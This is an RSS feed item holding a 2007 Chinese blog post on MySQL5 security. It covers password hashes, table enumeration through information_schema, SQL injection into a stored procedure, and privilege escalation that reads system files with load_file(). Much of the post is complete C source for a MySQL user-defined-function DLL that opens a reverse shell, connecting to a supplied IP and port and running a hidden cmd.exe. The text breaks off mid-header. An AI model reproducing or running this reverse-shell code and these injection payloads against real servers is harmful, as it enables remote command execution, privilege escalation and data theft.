﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-清睛仪明-文章分类-MySQL</title><link>http://www.blogjava.net/msmary/category/26456.html</link><description>书山有路勤为径，学海无涯苦作舟</description><language>zh-cn</language><lastBuildDate>Thu, 25 Oct 2007 17:19:55 GMT</lastBuildDate><pubDate>Thu, 25 Oct 2007 17:19:55 GMT</pubDate><ttl>60</ttl><item><title>Mysql5中的安全方面的考虑</title><link>http://www.blogjava.net/msmary/articles/154866.html</link><dc:creator>谭明</dc:creator><author>谭明</author><pubDate>Mon, 22 Oct 2007 01:54:00 GMT</pubDate><guid>http://www.blogjava.net/msmary/articles/154866.html</guid><wfw:comment>http://www.blogjava.net/msmary/comments/154866.html</wfw:comment><comments>http://www.blogjava.net/msmary/articles/154866.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/msmary/comments/commentRss/154866.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/msmary/services/trackbacks/154866.html</trackback:ping><description><![CDATA[<div id="text" style="padding-left: 15px">
<p>Mysql5增加很多新的功能，开始支持：存储过程、触发器、视图、信息架构视图等新特。可以说这些都是发展的必然，但是新的东西的出来，必定也会带来新的安全问题，如Mysql4开始支持union查询、子查询。这直接导致mysql注射更容易、广泛。mysql5的新功能会给安全带来什么新的东西呢？下面我给大家介绍下mysql5在安全方面的特点：&nbsp; <br />
<br />
一、password&nbsp;authentication&nbsp; <br />
<br />
mysql5的password()和mysql4.1一样，采用的基于SHA1的41位hash：&nbsp; <br />
<br />
mysql&gt;&nbsp;select&nbsp;password(&#8217;mypass&#8217;);&nbsp; <br />
+-------------------------------------------+&nbsp; <br />
|&nbsp;password(&#8217;mypass&#8217;)&nbsp;|&nbsp; <br />
+-------------------------------------------+&nbsp; <br />
|&nbsp;*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4&nbsp;|&nbsp; <br />
+-------------------------------------------+&nbsp; <br />
1&nbsp;row&nbsp;in&nbsp;set&nbsp;(0.00&nbsp;sec)&nbsp; <br />
<br />
在mysql4.1以前的password&nbsp;hashes是基于16位md5：&nbsp; <br />
<br />
mysql&gt;&nbsp;SELECT&nbsp;PASSWORD(&#8217;mypass&#8217;);&nbsp; <br />
+--------------------+&nbsp; <br />
|&nbsp;PASSWORD(&#8217;mypass&#8217;)&nbsp;|&nbsp; <br />
+--------------------+&nbsp; <br />
|&nbsp;6f8c114b58f2ce9e&nbsp;|&nbsp; <br />
+--------------------+&nbsp; <br />
<br />
当使用低版本的Client连接时，回出现错误：Client&nbsp;does&nbsp;not&nbsp;support&nbsp;authentication&nbsp;protocol，为了解决这个问题，mysql5提供了一个old_password(),就相当于mysql4.1以前的的password():&nbsp; <br />
<br />
mysql&gt;&nbsp;select&nbsp;old_password(&#8217;mypass&#8217;);&nbsp; <br />
+------------------------+&nbsp; <br />
|&nbsp;old_password(&#8217;mypass&#8217;)&nbsp;|&nbsp; <br />
+------------------------+&nbsp; <br />
|&nbsp;6f8c114b58f2ce9e&nbsp;|&nbsp; <br />
+------------------------+&nbsp; <br />
1&nbsp;row&nbsp;in&nbsp;set&nbsp;(0.09&nbsp;sec)&nbsp; <br />
<br />
二、数据字典(information_schema)&nbsp; <br />
<br />
和mssql、oracle、db2等数据库一样，mysql5提供了一个系统数据库：information_schema&nbsp; <br />
mysql&gt;&nbsp;use&nbsp;information_schema;&nbsp; <br />
Database&nbsp;changed&nbsp; <br />
mysql&gt;&nbsp;show&nbsp;tables;&nbsp; <br />
+---------------------------------------+&nbsp; <br />
|&nbsp;Tables_in_information_schema&nbsp;|&nbsp; <br />
+---------------------------------------+&nbsp; <br />
|&nbsp;CHARACTER_SETS&nbsp;|&nbsp; <br />
|&nbsp;COLLATIONS&nbsp;|&nbsp; <br />
|&nbsp;COLLATION_CHARACTER_SET_APPLICABILITY&nbsp;|&nbsp; <br />
|&nbsp;COLUMNS&nbsp;|&nbsp; <br />
|&nbsp;COLUMN_PRIVILEGES&nbsp;|&nbsp; <br />
|&nbsp;KEY_COLUMN_USAGE&nbsp;|&nbsp; <br />
|&nbsp;ROUTINES&nbsp;|&nbsp; <br />
|&nbsp;SCHEMATA&nbsp;|&nbsp; <br />
|&nbsp;SCHEMA_PRIVILEGES&nbsp;|&nbsp; <br />
|&nbsp;STATISTICS&nbsp;|&nbsp; <br />
|&nbsp;TABLES&nbsp;|&nbsp; <br />
|&nbsp;TABLE_CONSTRAINTS&nbsp;|&nbsp; <br />
|&nbsp;TABLE_PRIVILEGES&nbsp;|&nbsp; <br />
|&nbsp;TRIGGERS&nbsp;|&nbsp; <br />
|&nbsp;VIEWS&nbsp;|&nbsp; <br />
|&nbsp;USER_PRIVILEGES&nbsp;|&nbsp; <br />
+---------------------------------------+&nbsp; <br />
16&nbsp;rows&nbsp;in&nbsp;set&nbsp;(0.17&nbsp;sec)&nbsp; <br />
<br />
在这个数据库里我们可以得到很多信息，包括当前用户权限：&nbsp; <br />
mysql&gt;&nbsp;select&nbsp;*&nbsp;from&nbsp;information_schema.USER_PRIVILEGES;&nbsp; <br />
+-----------+---------------+----------------+--------------+&nbsp; <br />
|&nbsp;GRANTEE&nbsp;|&nbsp;TABLE_CATALOG&nbsp;|&nbsp;PRIVILEGE_TYPE&nbsp;|&nbsp;IS_GRANTABLE&nbsp;|&nbsp; <br />
+-----------+---------------+----------------+--------------+&nbsp; <br />
|&nbsp;&#8217;KK1&#8217;@&#8217;%&#8217;&nbsp;|&nbsp;NULL&nbsp;|&nbsp;USAGE&nbsp;|&nbsp;NO&nbsp;|&nbsp; <br />
+-----------+---------------+----------------+--------------+&nbsp; <br />
1&nbsp;row&nbsp;in&nbsp;set&nbsp;(0.02&nbsp;sec)&nbsp; <br />
<br />
当前用户权限下可以访问的数据库，表，列名（这个在sql注射中，导致直接暴区数据库，表列名，再也不要&#8216;暴力&#8217;咯）：&nbsp; <br />
<br />
mysql&gt;&nbsp;select&nbsp;TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME&nbsp;from</p>
<p>&nbsp;information_schema.STATIS&nbsp; <br />
TICS;&nbsp; <br />
+--------------+------------+-------------+&nbsp; <br />
|&nbsp;TABLE_SCHEMA&nbsp;|&nbsp;TABLE_NAME&nbsp;|&nbsp;COLUMN_NAME&nbsp;|&nbsp; <br />
+--------------+------------+-------------+&nbsp; <br />
|&nbsp;in&nbsp;|&nbsp;article&nbsp;|&nbsp;articleid&nbsp;|&nbsp; <br />
|&nbsp;in&nbsp;|&nbsp;user&nbsp;|&nbsp;userid&nbsp;|&nbsp; <br />
+--------------+------------+-------------+&nbsp; <br />
2&nbsp;rows&nbsp;in&nbsp;set&nbsp;(0.02&nbsp;sec)&nbsp; <br />
<br />
还可以得到当前用户权限下的VIEWS，ROUTINES等，关于ROUTINES我们在下面的&#8216;存储过程&#8217;里详细介绍。&nbsp; <br />
<br />
[ps:注意是&#8216;当前用户权限&#8217;如果是root，那么太可以得到所有的数据库名称以及表列名等等]&nbsp; <br />
<br />
三、存储过程(Stored&nbsp;Procedures)&nbsp; <br />
<br />
&#8217;存储过程&#8217;的使用是mysql5的一个闪光点，在带来方便的同时，它也带来了新的安全隐患：如sql注射，用户权限提升等等。&nbsp; <br />
<br />
D:\mysql5\bin&gt;mysql&nbsp;-uroot&nbsp;-p&nbsp; <br />
Enter&nbsp;password:&nbsp;******&nbsp; <br />
Welcome&nbsp;to&nbsp;the&nbsp;MySQL&nbsp;monitor.&nbsp;Commands&nbsp;end&nbsp;with&nbsp;;&nbsp;or&nbsp;\g.&nbsp; <br />
Your&nbsp;MySQL&nbsp;connection&nbsp;id&nbsp;is&nbsp;4&nbsp;to&nbsp;server&nbsp;version:&nbsp;5.0.18&nbsp; <br />
<br />
Type&nbsp;&#8217;help;&#8217;&nbsp;or&nbsp;&#8217;\h&#8217;&nbsp;for&nbsp;help.&nbsp;Type&nbsp;&#8217;\c&#8217;&nbsp;to&nbsp;clear&nbsp;the&nbsp;buffer.&nbsp; <br />
<br />
mysql&gt;&nbsp;use&nbsp;in&nbsp; <br />
Database&nbsp;changed&nbsp; <br />
mysql&gt;&nbsp;delimiter&nbsp;//&nbsp; <br />
mysql&gt;&nbsp;CREATE&nbsp;PROCEDURE&nbsp;test(id&nbsp;INT)&nbsp; <br />
-&gt;&nbsp;BEGIN&nbsp; <br />
-&gt;&nbsp;SELECT&nbsp;*&nbsp;FROM&nbsp;in.USER&nbsp;WHERE&nbsp;USERID=ID;&nbsp; <br />
-&gt;&nbsp;END//&nbsp; <br />
Query&nbsp;OK,&nbsp;0&nbsp;rows&nbsp;affected&nbsp;(0.08&nbsp;sec)&nbsp; <br />
<br />
mysql&gt;&nbsp;delimiter&nbsp;;&nbsp; <br />
<br />
mysql&gt;&nbsp;call&nbsp;test(1);&nbsp; <br />
+--------+----------+----------+&nbsp; <br />
|&nbsp;userid&nbsp;|&nbsp;username&nbsp;|&nbsp;password&nbsp;|&nbsp; <br />
+--------+----------+----------+&nbsp; <br />
|&nbsp;1&nbsp;|&nbsp;angel&nbsp;|&nbsp;mypass&nbsp;|&nbsp; <br />
+--------+----------+----------+&nbsp; <br />
1&nbsp;row&nbsp;in&nbsp;set&nbsp;(0.00&nbsp;sec)&nbsp; <br />
<br />
Query&nbsp;OK,&nbsp;0&nbsp;rows&nbsp;affected&nbsp;(0.00&nbsp;sec)&nbsp; <br />
<br />
上面我们使用root在数据库in里创建了一个名为test的存储过程。&nbsp; <br />
<br />
a、SQL&nbsp;Injection&nbsp; <br />
<br />
mysql&gt;&nbsp;call&nbsp;test(1&nbsp;and&nbsp;1=1);&nbsp; <br />
+--------+----------+----------+&nbsp; <br />
|&nbsp;userid&nbsp;|&nbsp;username&nbsp;|&nbsp;password&nbsp;|&nbsp; <br />
+--------+----------+----------+&nbsp; <br />
|&nbsp;1&nbsp;|&nbsp;angel&nbsp;|&nbsp;mypass&nbsp;|&nbsp; <br />
+--------+----------+----------+&nbsp; <br />
1&nbsp;row&nbsp;in&nbsp;set&nbsp;(0.00&nbsp;sec)&nbsp; <br />
<br />
Query&nbsp;OK,&nbsp;0&nbsp;rows&nbsp;affected&nbsp;(0.01&nbsp;sec)&nbsp; <br />
<br />
mysql&gt;&nbsp;call&nbsp;test(1&nbsp;and&nbsp;1=2);&nbsp; <br />
Empty&nbsp;set&nbsp;(0.00&nbsp;sec)&nbsp; <br />
<br />
Query&nbsp;OK,&nbsp;0&nbsp;rows&nbsp;affected&nbsp;(0.00&nbsp;sec)&nbsp; <br />
<br />
b、跨权限&nbsp; <br />
存储过程是继承创建者的权限的，如果存储过程是root创建的，当其他普通用户使用这个存储过程时，导致跨权限攻击：&nbsp; <br />
<br />
mysql&gt;&nbsp;grant&nbsp;SELECT,&nbsp;INSERT,&nbsp;UPDATE,&nbsp;DELETE,&nbsp;EXECUTE&nbsp; <br />
-&gt;&nbsp;ON&nbsp;`IN`.*&nbsp; <br />
-&gt;&nbsp;TO&nbsp;&#8217;KK1&#8217;@&#8217;%&#8217;&nbsp; <br />
-&gt;&nbsp;IDENTIFIED&nbsp;BY&nbsp;&#8217;OBSCURE&#8217;;&nbsp; <br />
Query&nbsp;OK,&nbsp;0&nbsp;rows&nbsp;affected&nbsp;(0.03&nbsp;sec)&nbsp; <br />
<br />
上面建立一个KK1的用户只在数据库in中有SELECT,&nbsp;INSERT,&nbsp;UPDATE,&nbsp;DELETE,&nbsp;EXECUTE权限，使用KK1登陆：&nbsp; <br />
D:\mysql5\bin&gt;mysql&nbsp;-uKK1&nbsp;-p&nbsp; <br />
Enter&nbsp;password:&nbsp;******&nbsp; <br />
Welcome&nbsp;to&nbsp;the&nbsp;MySQL&nbsp;monitor.&nbsp;Commands&nbsp;end&nbsp;with&nbsp;;&nbsp;or&nbsp;\g.&nbsp; <br />
Your&nbsp;MySQL&nbsp;connection&nbsp;id&nbsp;is&nbsp;5&nbsp;to&nbsp;server&nbsp;version:&nbsp;5.0.18&nbsp; <br />
<br />
Type&nbsp;&#8217;help;&#8217;&nbsp;or&nbsp;&#8217;\h&#8217;&nbsp;for&nbsp;help.&nbsp;Type&nbsp;&#8217;\c&#8217;&nbsp;to&nbsp;clear&nbsp;the&nbsp;buffer.&nbsp; <br />
<br />
mysql&gt;&nbsp;select&nbsp;ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,</p>
<p>ROUTINE_DEFINITION&nbsp;from&nbsp;inform&nbsp; <br />
ation_schema.ROUTINES;&nbsp; <br />
+----------------+--------------+----------------+--------------------+&nbsp; <br />
|&nbsp;ROUTINE_SCHEMA&nbsp;|&nbsp;ROUTINE_NAME&nbsp;|&nbsp;DEFINER&nbsp;|&nbsp;ROUTINE_DEFINITION&nbsp;|&nbsp; <br />
+----------------+--------------+----------------+--------------------+&nbsp; <br />
|&nbsp;in&nbsp;|&nbsp;test&nbsp;|&nbsp;root@localhost&nbsp;|&nbsp;|&nbsp; <br />
|&nbsp;in&nbsp;|&nbsp;tt&nbsp;|&nbsp;root@localhost&nbsp;|&nbsp;|&nbsp; <br />
+----------------+--------------+----------------+--------------------+&nbsp; <br />
2&nbsp;rows&nbsp;in&nbsp;set&nbsp;(0.01&nbsp;sec)&nbsp; <br />
<br />
我们可以得到KK1可以使用存储过程in.test&nbsp;其创建者为root@localhost。不过KK1没有权限得到ROUTINE_DEFINITION&nbsp;就是in.test的代码。下面看看跨权限：&nbsp; <br />
<br />
mysql&gt;&nbsp;call&nbsp;in.test(1&nbsp;and&nbsp;length(load_file(&#8217;c:/boot.ini&#8217;))&gt;0);&nbsp; <br />
+--------+----------+----------+&nbsp; <br />
|&nbsp;userid&nbsp;|&nbsp;username&nbsp;|&nbsp;password&nbsp;|&nbsp; <br />
+--------+----------+----------+&nbsp; <br />
|&nbsp;1&nbsp;|&nbsp;angel&nbsp;|&nbsp;mypass&nbsp;|&nbsp; <br />
+--------+----------+----------+&nbsp; <br />
1&nbsp;row&nbsp;in&nbsp;set&nbsp;(0.00&nbsp;sec)&nbsp; <br />
<br />
Query&nbsp;OK,&nbsp;0&nbsp;rows&nbsp;affected&nbsp;(0.01&nbsp;sec)&nbsp; <br />
<br />
mysql&gt;&nbsp;call&nbsp;in.test(1&nbsp;and&nbsp;length(load_file(&#8217;c:/boot.ini&#8217;))&lt;0);&nbsp; <br />
Empty&nbsp;set&nbsp;(0.00&nbsp;sec)&nbsp; <br />
<br />
Query&nbsp;OK,&nbsp;0&nbsp;rows&nbsp;affected&nbsp;(0.00&nbsp;sec)&nbsp; <br />
<br />
没有file权限的KK1可以使用in.test使用load_file()，我们还可以直接对mysql.user进行select，如果存储过程可以updata，insert注射，那么我们可以普通用户直接通过注射来修改mysql.user里的数据。&nbsp; <br />
<br />
四、User-Defined&nbsp;Function&nbsp;&nbsp; <br />
<br />
[ps：下面都是基于win系统]&nbsp; <br />
<br />
mysql5的udf在格式和安全方面做一些新的改变：&nbsp; <br />
1、格式要求更加严格[xxx_init()初始化函数]&nbsp; <br />
对于没有xxx_init()初始化函数&nbsp;在以前的版本是可以使用的，但是在mysql5下会出现Can&#8217;t&nbsp;find&nbsp;function&nbsp;&#8217;xxx_init&#8217;&nbsp;in&nbsp;library的错误，如：&nbsp; <br />
<br />
mysql&gt;&nbsp;create&nbsp;function&nbsp;ExitProcess&nbsp;returns&nbsp;integer&nbsp;soname&nbsp;&#8217;kernel32&#8217;;&nbsp; <br />
ERROR&nbsp;1127&nbsp;(HY000):&nbsp;Can&#8217;t&nbsp;find&nbsp;function&nbsp;&#8217;ExitProcess_init&#8217;&nbsp;in&nbsp;library&nbsp; <br />
<br />
下面给出的代码是好友云舒写的，符合mysql5的udf格式要求可以在mysql5下使用：&nbsp; <br />
<br />
/*******************************&nbsp; <br />
*&nbsp;File:&nbsp;MySQL_Shell.cpp&nbsp;&nbsp; <br />
*&nbsp;Author:&nbsp;云舒(wustyunshu&nbsp;at&nbsp;hotmail&nbsp;dot&nbsp;com)&nbsp;&nbsp; <br />
*&nbsp;Date:&nbsp;2005-12-12&nbsp;&nbsp; <br />
********************************&nbsp; <br />
#include&nbsp;&lt;stdio.h&gt;&nbsp;&nbsp; <br />
#include&nbsp;&lt;winsock2.h&gt;&nbsp;&nbsp; <br />
#include&nbsp;&lt;windows.h&gt;&nbsp;&nbsp; <br />
<br />
#define&nbsp;MAKE_DLL&nbsp;/*&nbsp;Build&nbsp;dll&nbsp;here&nbsp;*/&nbsp;&nbsp; <br />
<br />
#include&nbsp;"MySQL_Shell.h"&nbsp;&nbsp; <br />
<br />
#pragma&nbsp;comment(&nbsp;lib,&nbsp;"ws2_32"&nbsp;)&nbsp;&nbsp; <br />
<br />
#define&nbsp;BUFFER_SIZE&nbsp;1024&nbsp;&nbsp; <br />
<br />
////////////////////////////////&nbsp; <br />
//函数原型&nbsp;&nbsp; <br />
/////////////////////////////////&nbsp; <br />
<br />
BOOL&nbsp;StartWith(&nbsp;char&nbsp;*,&nbsp;char&nbsp;*&nbsp;);&nbsp;&nbsp; <br />
void&nbsp;LogMsg(&nbsp;char&nbsp;*&nbsp;);&nbsp;&nbsp; <br />
<br />
//////////////////////////////////&nbsp; <br />
//MySQL模块初始化函数&nbsp;&nbsp; <br />
////////////////////////////////&nbsp; <br />
<br />
LIB&nbsp;my_bool&nbsp;shell_init(&nbsp;UDF_INIT&nbsp;*init,&nbsp;UDF_ARGS&nbsp;*args,&nbsp;char&nbsp;*message&nbsp;)&nbsp;&nbsp; <br />
{&nbsp;&nbsp; <br />
if&nbsp;(&nbsp;args-&gt;arg_count&nbsp;!=&nbsp;2&nbsp;)&nbsp;&nbsp; <br />
{&nbsp;&nbsp; <br />
strcpy(&nbsp;message,&nbsp;"Shell()&nbsp;requires&nbsp;two&nbsp;arguments"&nbsp;);&nbsp;&nbsp; <br />
return&nbsp;1;&nbsp;&nbsp; <br />
}&nbsp;&nbsp; <br />
<br />
if&nbsp;(&nbsp;(args-&gt;arg_type[0]&nbsp;!=&nbsp;STRING_RESULT)&nbsp;||&nbsp;(args-&gt;arg_type[1]&nbsp;!=&nbsp;STRING_RESULT)&nbsp;)&nbsp;&nbsp; <br />
{&nbsp;&nbsp; <br />
strcpy(&nbsp;message,&nbsp;"Shell()&nbsp;requires&nbsp;two&nbsp;string&nbsp;arguent"&nbsp;);&nbsp;&nbsp; <br />
return&nbsp;1;&nbsp;&nbsp; <br />
}&nbsp;&nbsp; <br />
<br />
return&nbsp;0;&nbsp;&nbsp; <br />
}&nbsp;&nbsp; <br />
</p>
<p>&nbsp;</p>
</div>
<br />
////////////////////////////////&nbsp; <br />
//MySQL模块主功能函数，反向连接提供shell&nbsp;&nbsp; <br />
/////////////////////////////////&nbsp; <br />
<br />
LIB&nbsp;int&nbsp;shell(&nbsp;UDF_INIT&nbsp;*init,&nbsp;UDF_ARGS&nbsp;*args,&nbsp;char&nbsp;*is_null,&nbsp;char&nbsp;*error&nbsp;)&nbsp;&nbsp; <br />
{&nbsp;&nbsp; <br />
SOCKET&nbsp;sock;&nbsp;&nbsp; <br />
SOCKADDR_IN&nbsp;sin;&nbsp;&nbsp; <br />
int&nbsp;ret;&nbsp;&nbsp; <br />
<br />
//&nbsp;Create&nbsp;socket&nbsp;&nbsp; <br />
sock&nbsp;=&nbsp;socket(&nbsp;AF_INET,&nbsp;SOCK_STREAM,&nbsp;0&nbsp;);&nbsp;&nbsp; <br />
if&nbsp;(&nbsp;sock&nbsp;==&nbsp;INVALID_SOCKET&nbsp;)&nbsp;&nbsp; <br />
{&nbsp;&nbsp; <br />
strcpy(&nbsp;error,&nbsp;"Create&nbsp;socket&nbsp;error"&nbsp;);&nbsp;&nbsp; <br />
<br />
return&nbsp;-1;&nbsp;&nbsp; <br />
}&nbsp;&nbsp; <br />
<br />
sin.sin_family&nbsp;=&nbsp;AF_INET;&nbsp;&nbsp; <br />
sin.sin_port&nbsp;=&nbsp;htons(&nbsp;atoi(args-&gt;args[1])&nbsp;);&nbsp;&nbsp; <br />
sin.sin_addr.s_addr&nbsp;=&nbsp;inet_addr(&nbsp;args-&gt;args[0]&nbsp;);&nbsp;&nbsp; <br />
<br />
//connect&nbsp;to&nbsp;remote&nbsp;server&nbsp;&nbsp; <br />
ret&nbsp;=&nbsp;connect(&nbsp;sock,&nbsp;(struct&nbsp;sockaddr&nbsp;*)&amp;sin,&nbsp;sizeof(sin)&nbsp;);&nbsp;&nbsp; <br />
if(&nbsp;ret&nbsp;==&nbsp;SOCKET_ERROR&nbsp;)&nbsp;&nbsp; <br />
{&nbsp;&nbsp; <br />
strcpy(&nbsp;error,&nbsp;"Connect&nbsp;error"&nbsp;);&nbsp;&nbsp; <br />
<br />
return&nbsp;-1;&nbsp;&nbsp; <br />
}&nbsp;&nbsp; <br />
<br />
SECURITY_ATTRIBUTES&nbsp;sa;&nbsp;&nbsp; <br />
<br />
sa.nLength&nbsp;=&nbsp;sizeof(&nbsp;sa&nbsp;);&nbsp;&nbsp; <br />
sa.lpSecurityDescriptor&nbsp;=&nbsp;0;&nbsp;&nbsp; <br />
sa.bInheritHandle&nbsp;=&nbsp;TRUE;&nbsp;&nbsp; <br />
<br />
HANDLE&nbsp;hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;&nbsp;&nbsp; <br />
<br />
ret=CreatePipe(&nbsp;&amp;hReadPipe1,&nbsp;&amp;hWritePipe1,&nbsp;&amp;sa,&nbsp;0&nbsp;);&nbsp;&nbsp; <br />
ret=CreatePipe(&nbsp;&amp;hReadPipe2,&nbsp;&amp;hWritePipe2,&nbsp;&amp;sa,&nbsp;0&nbsp;);&nbsp;&nbsp; <br />
<br />
STARTUPINFO&nbsp;si;&nbsp;&nbsp; <br />
ZeroMemory(&nbsp;&amp;si,&nbsp;sizeof(si)&nbsp;);&nbsp;&nbsp; <br />
<br />
GetStartupInfo(&nbsp;&amp;si&nbsp;);&nbsp;&nbsp; <br />
<br />
si.cb&nbsp;=&nbsp;sizeof(&nbsp;si&nbsp;);&nbsp;&nbsp; <br />
si.dwFlags&nbsp;=&nbsp;STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;&nbsp;&nbsp; <br />
si.wShowWindow&nbsp;=&nbsp;SW_HIDE;&nbsp;&nbsp; <br />
si.hStdInput&nbsp;=&nbsp;hReadPipe2;&nbsp;&nbsp; <br />
si.hStdOutput&nbsp;=&nbsp;si.hStdError&nbsp;=&nbsp;hWritePipe1;&nbsp;&nbsp; <br />
<br />
PROCESS_INFORMATION&nbsp;processInfo;&nbsp;&nbsp; <br />
<br />
char&nbsp;cmdLine[]&nbsp;=&nbsp;"cmd.exe";&nbsp;&nbsp; <br />
<br />
ZeroMemory(&nbsp;&amp;processInfo&nbsp;,&nbsp;sizeof(PROCESS_INFORMATION)&nbsp;);&nbsp;&nbsp; <br />
ret&nbsp;=&nbsp;CreateProcess(NULL,&nbsp;cmdLine,&nbsp;NULL,NULL,1,0,NULL,NULL,&amp;si,&amp;processInfo);&nbsp;&nbsp; <br />
<br />
char&nbsp;buff[BUFFER_SIZE]&nbsp;=&nbsp;{&nbsp;0&nbsp;};&nbsp;&nbsp; <br />
unsigned&nbsp;long&nbsp;bytesRead&nbsp;=&nbsp;0;&nbsp;&nbsp; <br />
int&nbsp;i&nbsp;=&nbsp;0;&nbsp;&nbsp; <br />
<br />
while(&nbsp;TRUE&nbsp;)&nbsp;&nbsp; <br />
{&nbsp;&nbsp; <br />
memset(&nbsp;buff,&nbsp;0,&nbsp;BUFFER_SIZE&nbsp;);&nbsp;&nbsp; <br />
<br />
ret&nbsp;=&nbsp;PeekNamedPipe(&nbsp;hReadPipe1,&nbsp;buff,&nbsp;BUFFER_SIZE,&nbsp;&amp;bytesRead,&nbsp;0,&nbsp;0&nbsp;);&nbsp;&nbsp; <br />
<br />
for(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;5&nbsp;&amp;&amp;&nbsp;bytesRead&nbsp;==&nbsp;0;&nbsp;i++)&nbsp;&nbsp; <br />
{&nbsp;&nbsp; <br />
Sleep(100);&nbsp;&nbsp; <br />
ret&nbsp;=&nbsp;PeekNamedPipe(&nbsp;hReadPipe1,&nbsp;buff,&nbsp;BUFFER_SIZE,&nbsp;&amp;bytesRead,&nbsp;NULL,&nbsp;NULL&nbsp;);&nbsp;&nbsp; <br />
}&nbsp;&nbsp; <br />
<br />
if(&nbsp;bytesRead&nbsp;)&nbsp;&nbsp; <br />
{&nbsp;&nbsp; <br />
ret&nbsp;=&nbsp;ReadFile(&nbsp;hReadPipe1,&nbsp;buff,&nbsp;bytesRead,&nbsp;&amp;bytesRead,&nbsp;0&nbsp;);&nbsp;&nbsp; <br />
if(&nbsp;!ret&nbsp;)&nbsp;break;&nbsp;&nbsp; <br />
<br />
ret&nbsp;=&nbsp;send(&nbsp;sock,&nbsp;buff,&nbsp;bytesRead,&nbsp;0&nbsp;);&nbsp;&nbsp; <br />
if(&nbsp;ret&nbsp;&lt;=&nbsp;0&nbsp;)&nbsp;break;&nbsp;&nbsp; <br />
}&nbsp;&nbsp; <br />
else&nbsp;&nbsp; <br />
{&nbsp;&nbsp; <br />
bytesRead&nbsp;=&nbsp;recv(&nbsp;sock,&nbsp;buff,&nbsp;BUFFER_SIZE,&nbsp;0&nbsp;);&nbsp;&nbsp; <br />
<br />
if(&nbsp;bytesRead&nbsp;&lt;=&nbsp;0&nbsp;)&nbsp;break;&nbsp;&nbsp; <br />
<br />
if(&nbsp;StartWith(&nbsp;buff&nbsp;,&nbsp;"exit"&nbsp;)&nbsp;==&nbsp;TRUE&nbsp;)&nbsp;break;&nbsp;&nbsp; <br />
<br />
ret&nbsp;=&nbsp;WriteFile(&nbsp;hWritePipe2,&nbsp;buff,&nbsp;bytesRead,&nbsp;&amp;bytesRead,&nbsp;0&nbsp;);&nbsp;&nbsp; <br />
if(&nbsp;!ret&nbsp;)&nbsp;break;&nbsp;&nbsp; <br />
}&nbsp;&nbsp; <br />
}&nbsp;&nbsp; <br />
<br />
TerminateProcess(&nbsp;processInfo.hProcess,&nbsp;0&nbsp;);&nbsp;&nbsp; <br />
<br />
CloseHandle(&nbsp;hReadPipe1&nbsp;);&nbsp;&nbsp; <br />
CloseHandle(&nbsp;hReadPipe2&nbsp;);&nbsp;&nbsp; <br />
CloseHandle(&nbsp;hWritePipe1&nbsp;);&nbsp;&nbsp; <br />
CloseHandle(&nbsp;hWritePipe2&nbsp;);&nbsp;&nbsp; <br />
<br />
closesocket(&nbsp;sock&nbsp;);&nbsp;&nbsp; <br />
<br />
return&nbsp;0;&nbsp;&nbsp; <br />
}&nbsp;&nbsp; <br />
<br />
///////////////////////////////////&nbsp; <br />
//判断字符串是否以另一个字符串开头&nbsp;&nbsp; <br />
////////////////////////////////////&nbsp; <br />
<br />
BOOL&nbsp;StartWith(&nbsp;char&nbsp;*buf1,&nbsp;char&nbsp;*buf2&nbsp;)&nbsp;&nbsp; <br />
{&nbsp;&nbsp; <br />
int&nbsp;len&nbsp;=&nbsp;strlen(buf2);&nbsp;&nbsp; <br />
<br />
if(&nbsp;memcmp(&nbsp;buf1,buf2,len&nbsp;)&nbsp;==&nbsp;0&nbsp;)&nbsp;&nbsp; <br />
{&nbsp;&nbsp; <br />
return&nbsp;TRUE;&nbsp;&nbsp; <br />
}&nbsp;&nbsp; <br />
return&nbsp;FALSE;&nbsp;&nbsp; <br />
}&nbsp;&nbsp; <br />
<br />
/////////////////////////////////////&nbsp; <br />
//记录日志信息，调试用&nbsp;&nbsp; <br />
///////////////////////////////////&nbsp; <br />
<br />
void&nbsp;LogMsg(&nbsp;char&nbsp;*msg&nbsp;)&nbsp;&nbsp; <br />
{&nbsp;&nbsp; <br />
FILE&nbsp;*fp;&nbsp;&nbsp; <br />
<br />
fp&nbsp;=&nbsp;fopen(&nbsp;"C:\mysql.txt",&nbsp;"a+"&nbsp;);&nbsp;&nbsp; <br />
<br />
fputs(&nbsp;msg,&nbsp;fp&nbsp;);&nbsp;&nbsp; <br />
<br />
fclose(&nbsp;fp&nbsp;);&nbsp;&nbsp; <br />
}&nbsp;&nbsp; <br />
<br />
/********************************&nbsp; <br />
*&nbsp;File:&nbsp;MySQL_Shell.h&nbsp;&nbsp; <br />
*&nbsp;Author:&nbsp;云舒(wustyunshu&nbsp;at&nbsp;hotmail&nbsp;dot&nbsp;com)&nbsp;&nbsp; <br />
*&nbsp;Date:&nbsp;2005-12-12&nbsp;&nbsp; <br />
*********************************&nbsp; <br />
<br />
#ifdef&nbsp;MAKE_DLL&nbsp;&nbsp; <br />
#define&nbsp;LIB&nbsp;extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;&nbsp; <br />
#else&nbsp;&nbsp; <br />
#define&nbsp;LIB&nbsp;extern&nbsp;"C"&nbsp;__declspec(dllimport)&nbsp;&nbsp; <br />
#endif&nbsp;&nbsp; <br />
<br />
#define&nbsp;MYSQL_ERRMSG_SIZE&nbsp;512&nbsp;/*&nbsp;Max&nbsp;buffer&nbsp;size&nbsp;*/&nbsp;&nbsp; <br />
<br />
typedef&nbsp;char&nbsp;my_bool;&nbsp;&nbsp; <br />
<br />
enum&nbsp;Item_result&nbsp;&nbsp; <br />
{&nbsp;&nbsp; <br />
STRING_RESULT,REAL_RESULT,INT_RESULT&nbsp;&nbsp; <br />
};&nbsp;&nbsp; <br />
<br />
typedef&nbsp;struct&nbsp;st_udf_args&nbsp;&nbsp; <br />
{&nbsp;&nbsp; <br />
